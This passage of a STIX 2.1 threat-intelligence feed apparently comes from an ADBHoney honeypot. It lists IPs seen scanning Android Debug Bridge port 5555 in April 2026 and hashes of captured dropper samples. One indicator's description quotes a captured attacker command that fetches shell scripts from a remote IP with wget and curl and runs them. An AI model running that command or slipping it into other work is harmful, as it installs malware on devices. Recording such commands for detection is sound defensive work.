      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-14T03:18:49.000Z | last_seen=2026-04-14T03:30:23.533Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--c28a397b-312e-4133-be1a-21728ed2ea3b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T04:00:02.000Z",
      "valid_until": "2026-05-16T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-14T03:18:49.000Z",
          "last_seen": "2026-04-14T03:30:23.533Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=23470; asn_org=ReliableSite.Net LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-14T03:44:31.000Z | last_seen=2026-04-14T03:45:34.185Z | ports=5555 | cc=US | asn=23470 | org=ReliableSite.Net LLC",
      "id": "indicator--612e890d-eb3b-413b-8877-55f2e291535a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.150.191.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T04:00:02.000Z",
      "valid_until": "2026-05-16T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-14T03:44:31.000Z",
          "last_seen": "2026-04-14T03:45:34.185Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "23470"
          ],
          "org": [
            "ReliableSite.Net LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T05:00:30.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=110; ports=5555; cc=AE; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=110 | first_seen=2026-04-14T04:23:16.000Z | last_seen=2026-04-14T04:47:38.683Z | ports=5555 | cc=AE | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--17e69e09-2666-4491-99dd-5038e3f1d08b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.181.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T05:00:30.000Z",
      "valid_until": "2026-05-16T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 110,
          "first_seen": "2026-04-14T04:23:16.000Z",
          "last_seen": "2026-04-14T04:47:38.683Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AE"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T05:00:30.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=ID; asn=7713; asn_org=PT Telekomunikasi Indonesia; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=3 | first_seen=2026-04-14T04:11:12.000Z | last_seen=2026-04-14T04:12:21.651Z | ports=5555 | cc=ID | asn=7713 | org=PT Telekomunikasi Indonesia",
      "id": "indicator--dad14d80-1419-4e42-be90-22e506d7970d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '36.92.154.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T05:00:30.000Z",
      "valid_until": "2026-05-16T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 3,
          "first_seen": "2026-04-14T04:11:12.000Z",
          "last_seen": "2026-04-14T04:12:21.651Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ID"
          ],
          "asn": [
            "7713"
          ],
          "org": [
            "PT Telekomunikasi Indonesia"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=22295; asn_org=Advin Services LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://142.248.80.144/w.sh; sh w.sh; curl http://142.248.80.144/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-04. events=89 | first_seen=2026-04-14T05:12:49.000Z | last_seen=2026-04-27T12:34:16.048Z | ports=5555 | cc=US | asn=22295 | org=Advin Services LLC",
      "id": "indicator--50817065-dda8-41f0-be84-79fb96ab73f6",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.248.80.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T06:00:03.000Z",
      "valid_until": "2026-05-16T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 89,
          "first_seen": "2026-04-14T05:12:49.000Z",
          "last_seen": "2026-04-27T12:34:16.048Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "22295"
          ],
          "org": [
            "Advin Services LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-14T05:15:48.000Z | last_seen=2026-04-14T05:26:33.960Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--eefe1626-4c20-4690-8979-4b0405dc99d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.203.110.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T06:00:03.000Z",
      "valid_until": "2026-05-16T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-14T05:15:48.000Z",
          "last_seen": "2026-04-14T05:26:33.960Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T14:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/59864233327633e53a12908cffab8a09002f51e02a531e37ffe446072d22f869.raw; last_seen=2026-04-14T13:04:01.783Z",
      "id": "indicator--e2f88cc4-8232-42c1-889f-a9d9986e3f53",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '59864233327633e53a12908cffab8a09002f51e02a531e37ffe446072d22f869']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T14:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T14:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/5d40539956ab269ec92bac63c66d103b4c84f0cc22b631906a8527d2b9bc053e.raw; last_seen=2026-04-14T13:04:03.966Z",
      "id": "indicator--237807f3-b4b2-47d9-8010-35b3c7b6f284",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '5d40539956ab269ec92bac63c66d103b4c84f0cc22b631906a8527d2b9bc053e']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T14:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T14:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/87161468b966143711c26f6e43f9acedd839057e7b93a5b5ee413d6aa53c97b7.raw; last_seen=2026-04-14T13:04:02.872Z",
      "id": "indicator--ca7df7cf-24eb-44d2-b48e-ca5d229b42e0",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '87161468b966143711c26f6e43f9acedd839057e7b93a5b5ee413d6aa53c97b7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T14:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=MX; asn=8151; asn_org=UNINET; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-14T14:38:42.000Z | last_seen=2026-04-14T14:48:44.400Z | ports=5555 | cc=MX | asn=8151 | org=UNINET",
      "id": "indicator--fecbfff0-36ee-44e6-aada-8afc86a62e62",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '189.228.85.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T15:00:02.000Z",
      "valid_until": "2026-05-16T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-14T14:38:42.000Z",
          "last_seen": "2026-04-14T14:48:44.400Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "8151"
          ],
          "org": [
            "UNINET"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=200730; asn_org=ISAEV Igor; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-14T14:58:47.000Z | last_seen=2026-04-14T14:59:49.253Z | ports=5555 | cc=US | asn=200730 | org=ISAEV Igor",
      "id": "indicator--45026b27-e49c-46e5-8459-403e0b4ded73",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.251.64.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T15:00:02.000Z",
      "valid_until": "2026-05-16T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-14T14:58:47.000Z",
          "last_seen": "2026-04-14T14:59:49.253Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "200730"
          ],
          "org": [
            "ISAEV Igor"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T15:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/4a3b082d323b6ea17e4a9f2f021874c402b65a84c92f852fa6c0ba7210eb2cd7.raw; last_seen=2026-04-14T14:27:17.119Z",
      "id": "indicator--83dcd20b-4689-4a97-b790-c7bb86358e2c",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '4a3b082d323b6ea17e4a9f2f021874c402b65a84c92f852fa6c0ba7210eb2cd7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T15:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/89cb94076cb120d788a9d7178bfde969a30856f1683d1f1953b97383645efd48.raw; last_seen=2026-04-14T14:27:16.053Z",
      "id": "indicator--9bd304d1-7c0f-4366-80f3-8a99784f358b",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '89cb94076cb120d788a9d7178bfde969a30856f1683d1f1953b97383645efd48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T15:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/cb41018ee276a8e7528bf5e911df608b5faccf206fbb18b10ed73d8b3dd669df.raw; last_seen=2026-04-14T14:27:14.987Z",
      "id": "indicator--d4f8b56f-11e9-4e87-8100-2dae937b1f48",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'cb41018ee276a8e7528bf5e911df608b5faccf206fbb18b10ed73d8b3dd669df']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-14T15:46:56.000Z | last_seen=2026-04-14T15:48:04.950Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--e7b6c64f-5775-4151-9835-87cede4c9fe8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.238.160.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T16:00:02.000Z",
      "valid_until": "2026-05-16T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-14T15:46:56.000Z",
          "last_seen": "2026-04-14T15:48:04.950Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=5410; asn_org=Bouygues Telecom SA; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-14T15:40:49.000Z | last_seen=2026-04-14T15:50:58.083Z | ports=5555 | cc=FR | asn=5410 | org=Bouygues Telecom SA",
      "id": "indicator--a4748ca1-4287-4663-8982-07600826c3a4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.171.27.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T16:00:02.000Z",
      "valid_until": "2026-05-16T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-14T15:40:49.000Z",
          "last_seen": "2026-04-14T15:50:58.083Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "5410"
          ],
          "org": [
            "Bouygues Telecom SA"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T17:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=38; ports=5555; cc=SG; asn=13335; asn_org=Cloudflare, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=38 | first_seen=2026-04-14T16:19:49.000Z | last_seen=2026-04-14T16:31:02.834Z | ports=5555 | cc=SG | asn=13335 | org=Cloudflare, Inc.",
      "id": "indicator--0d9701dc-0139-45a6-8e78-1c60fb7268ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.28.159.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T17:00:04.000Z",
      "valid_until": "2026-05-16T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 38,
          "first_seen": "2026-04-14T16:19:49.000Z",
          "last_seen": "2026-04-14T16:31:02.834Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "13335"
          ],
          "org": [
            "Cloudflare, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T19:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=31; ports=5555; cc=SG; asn=401443; asn_org=WAP.AC LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=39 | first_seen=2026-04-14T18:51:35.000Z | last_seen=2026-04-14T19:07:50.686Z | ports=5555 | cc=SG | asn=401443 | org=WAP.AC LLC",
      "id": "indicator--605383a3-fd0d-42e9-97d9-b8625dcf9deb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.151.146.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T19:00:05.000Z",
      "valid_until": "2026-05-16T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
